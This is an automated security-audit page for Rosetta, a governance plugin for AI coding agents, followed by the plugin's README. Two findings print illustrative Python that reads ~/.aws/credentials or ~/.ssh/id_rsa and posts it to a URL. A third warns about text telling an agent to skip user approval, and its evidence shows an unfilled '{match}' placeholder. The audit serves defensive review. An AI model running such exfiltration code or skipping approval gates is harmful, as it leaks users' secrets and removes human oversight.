Rosetta — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Rosetta (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 8 high-severity and 1 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 9 flagged
This plugin references the AWS credentials file or the access-key fields stored inside it (test('/home/user/.aws/credentials → deny', () =>…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")This plugin references an SSH private-key path or a private-key file header (const r = evaluateDangerous(writeCtx('/proj/key.…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<div align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/web/assets/brand/rosetta-logo-full-color-white-text.png"> <img src="docs/web/assets/brand/rosetta-logo-full-color-black-text.png" alt="Rosetta" width="200"> </picture> <p><strong>Engineering governance and context for AI coding agents — the knowledge a senior engineer would have, compiled into every agent.</strong></p> <p> <a href="https://pypi.org/project/ims-mcp/"><img src="https://img.shields.io/pypi/v/ims-mcp.svg" alt="MCP"></a> <a href="https://pypi.org/project/ims-mcp/"><img src="https://img.shields.io/pypi/dm/ims-mcp.svg" alt="Downloads"></a> <a href="https://pypi.org/project/rosetta-cli/"><img src="https://img.shields.io/pypi/v/rosetta-cli.svg" alt="CLI"></a> <a href="https://pypi.org/project/rosetta-cli/"><img src="https://img.shields.io/pypi/dm/rosetta-cli.svg" alt="Downloads"></a> <a href="https://github.com/griddynamics/rosetta/actions/workflows/publish-ims-mcp.yml"><img src="https://github.com/griddynamics/rosetta/actions/workflows/publish-ims-mcp.yml/badge.svg" alt="Rosetta MCP"></a> <a href="https://github.com/griddynamics/rosetta/actions/workflows/publish-rosetta-cli.yml"><img src="https://github.com/griddynamics/rosetta/actions/workflows/publish-rosetta-cli.yml/badge.svg" alt="Rosetta CLI"></a> <a href="https://github.com/griddynamics/rosetta/actions/workflows/publish-instructions.yml"><img src="https://github.com/griddynamics/rosetta/actions/workflows/publish-instructions.yml/badge.svg" alt="Instructions"></a> <a href="https://www.python.org/downloads/"><img src="https://img.shields.io/badge/python-3.12+-blue.svg" alt="Python 3.12+"></a> <a href="LICENSE"><img src="https://img.shields.io/badge/license-Apache--2.0-blue.svg" alt="License: Apache-2.0"></a> </p> </div>
https://github.com/user-attachments/assets/6df6e217-3e5c-4691-84ed-7440701a87de
AI coding agents are great — until you try to use them across a real team. Everyone builds their own prompts and rules, knowledge stays in silos, and the agent — not knowing your architecture or constraints — guesses from a few open files and confidently does the wrong thing.
That's why we built Rosetta — an open-source governance and context layer for AI coding agents. It's not another proprietary agent; it works with the tools you already use (Claude Code, Cursor, Copilot, etc.) and compiles one centralized source of your team's engineering knowledge into every agent, every session. Everything is versioned in Git and runs inside your perimeter.
Teach agents how to think, not what to do. The model already knows Python and React; what it lacks is your engineering discipline. That's what Rosetta encodes.
What this means in daily work:
Rosetta-guided work follows these phases:
Read more in the Usage Guide.
[!NOTE] If you are effectively using your current setup, writing your own skills, and managing AI using your own processes, you probably don't need Rosetta.
Install Rosetta using either plugins or MCP. Plugins are the recommended path for supported IDEs; use MCP when you need server-based or air-gapped setup.
Claude Code · Cursor · GitHub Copilot (VS Code + JetBrains) · Codex
Windsurf · JetBrains Junie · Antigravity · OpenCode · any MCP-compatible agent
Follow the Quickstart to initialize your repository and the next actions.
<details> <summary><b>What Rosetta Adds to AI Coding Agents</b></summary>
AI coding agents can read code, generate code, and run commands. That is where it ends. They are missing nearly everything that makes a professional software engineer reliable. Each point below addresses a real, repeatedly observed failure mode — not a theoretical concern.
Why these problems exist. LLMs generate tokens sequentially based on probabilistic weights over their current context. If the model misses a point where it should consider a specific concern — security, existing conventions, an assumption it made three steps ago — it does not return to it. It gets carried away. It performs shallow reasoning on anything it treats as a side quest, leading to catastrophic decisions. This is not a temporary limitation of current models. It is how autoregressive token generation works. Coding agent system prompts do not contain engineering process guidance — their job is to make the AI call the right tools in the right format. They cannot contain project-specific guardrails, workflows, or quality standards because the system prompt has no idea what you are building: a PoC, a pet project, a study exercise, or enterprise software with regulated data. That guidance simply does not exist in the agent unless something provides it. Rosetta provides it — and more importantly, it guides the agent on how to acquire project-specific context, when to load it, and what to do with it. The right information, at the right time, loaded into context so the model acts on it instead of skipping it.
Why this list is long. Ask any AI coding agent to design a complete workflow for implementing a feature. It will produce two or three steps — "write code" and "run tests," maybe "create a plan." It will not think about loading project context first, classifying the request, assessing risk, creating specs separately from plans, getting approval before implementation, reviewing with fresh eyes, validating against specs, handling sensitive data, updating documentation, or recording lessons learned. It will forget about all of it. Every point below is something AI agents consistently skip.
Rosetta instructions reverse this. During repository initialization, the agent — guided by Rosetta — reverse-engineers the project's architecture, tech stack, business context, coding patterns, and dependencies into structured workspace files. The agent reads these before every task. Context loads progressively — bootstrap rules first, then project context, then only the skills and workflow the current task needs. When a query returns more than five documents, Rosetta MCP switches to a listing so the agent picks exactly what it needs. Context stays lean. Reasoning stays sharp. Token efficiency is high because the agent is not loading irrelevant material or re-discovering the project from scratch on every request.
Rosetta instructions require the agent to: critically review every user request before execution, assess risk of the current environment and available tools, detect and block dangerous and potentially dangerous actions, mask sensitive data and never log or share it, follow transparency rules and behavior boundaries, respect orchestration contracts between agents, and handle deviations when execution diverges from intent. These guardrails load at bootstrap and cannot be turned off. They are not suggestions — the agent follows them as enforced constraints.
Rosetta workflows define approval gates at critical decision points: after specs, after plans, before risky actions, before test work continues. The agent batches questions (5–10 per round), prioritizes by impact, and targets a single decision per question. When something is unclear, the agent — instructed by Rosetta — stops and asks instead of guessing. It is almost always cheaper to stop and ask one question than to redo hours of wrong implementation.
Rosetta instructions require the agent to handle requirements with traceability. Before any work begins, the agent — following Rosetta's bootstrap — auto-classifies every request into one of twelve workflow types: coding, testing, research, requirements, initialization, modernization, code analysis, QA automation, and others. Each type loads entirely different instructions, subagents, skills, and approval gates. A "fix this bug" request follows a completely different path than "analyze this architecture" or "write requirements for checkout." Classification eliminates the guessing that agents do when they receive an unstructured prompt and try to figure out on the fly what kind of work this is.
Rosetta workflows define explicit preparation, research, planning, and approval phases before any code is written. They instruct the agent to apply SMART, MECE, DRY, and SOLID principles during planning. They separate plans from specs — the plan says what to do and in what order; the spec says what the target state looks like and why. The process scales by task size: small tasks get lightweight planning, medium tasks get full planning with subagents, large tasks get extensive planning with heavy delegation. It is much cheaper to burn 2x tokens and spend a few extra minutes on analysis than to pay for the cascade of rework a missed defect triggers.
Rosetta workflows instruct the agent to delegate review to a separate subagent with a fresh context window. The reviewer has never seen the debugging session, the failed attempts, or the rationalizations. It inspects the implementation against the original specs and intent. This separation is what makes review actually catch problems instead of confirming the implementer's biases.
Rosetta instructions require the agent to build, run, and execute real tests at each foundation level before creating dependent work. The validator subagent runs in a clean context with actual execution evidence. This requirement — prove it works before moving on — is simple, and it transforms AI coding from "generate and hope" into "generate, verify, continue."
Rosetta contains workflows created by humans who used AI extensively, observed every category of failure, identified root causes, and encoded solutions as structured processes. These workflows cover twelve SDLC activities. Each defines phases, subagents, skills, HITL gates, and artifact expectations. The agent with Rosetta workflows does not become smarter — it stops skipping the steps that matter. It discovers knowledge, conventions, and dependencies it would otherwise miss entirely. It installs the package that another project in the same solution already uses. It distinguishes planning from specs. It performs reviews and checkpoints at the moments where they catch the most errors.
Rosetta instructs the agent to maintain agents/MEMORY.md — root causes of errors, actions tried, lessons learned. The agent consults this during planning and records new lessons after failures. It is instructed to reorganize working files when context grows large, and to proactively clean up when work spans many files or sessions.
Rosetta instructs the agent to write execution state — plans, specs, phase progress, flow status — to disk files. If a session fails, the next session resumes from the last recorded checkpoint. Medium and large tasks become resumable multi-session workflows instead of all-or-nothing gambles.
Three layers merge at runtime: core (universal best practices shipped with Rosetta), organization (your company's conventions and policies), and project (local constraints and context). Teams customize without forking. Improvements to higher layers propagate to every project automatically. Release-based versioning (r1, r2, r3) lets instruction authors develop and test new versions without breaking agents on stable releases. Rollback is immediate. AI behavior is authored in markdown, version-controlled in Git, reviewed in pull requests, and approved before deployment — the same engineering rigor applied to the instructions that control your AI agents.
</details>
Use Rosetta plugins to develop Rosetta.
Contributions welcome. See CONTRIBUTING.md for workflow and expectations.
| I want to... | Read |
|---|---|
| Set up Rosetta | QUICKSTART.md |
| Understand what Rosetta is and how to think about it | OVERVIEW.md |
| Learn how to use Rosetta flows | USAGE_GUIDE.md |
| Deploy Rosetta for my organization | DEPLOYMENT_GUIDE.md |
| Understand the system architecture | ARCHITECTURE.md |
| Navigate the codebase | DEVELOPER_GUIDE.md |
| Contribute a change | CONTRIBUTING.md |
| Debug a problem | TROUBLESHOOTING.md |
| See release history | CHANGELOG.md |
| Security Policy | SECURITY.md |
[!WARNING] Rosetta is intended for legitimate software engineering workflows. Users are responsible for ensuring their use complies with applicable laws, regulations, and contractual obligations.
Full information: https://griddynamics.github.io/rosetta/llms-full.txt
See LICENSE for details.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.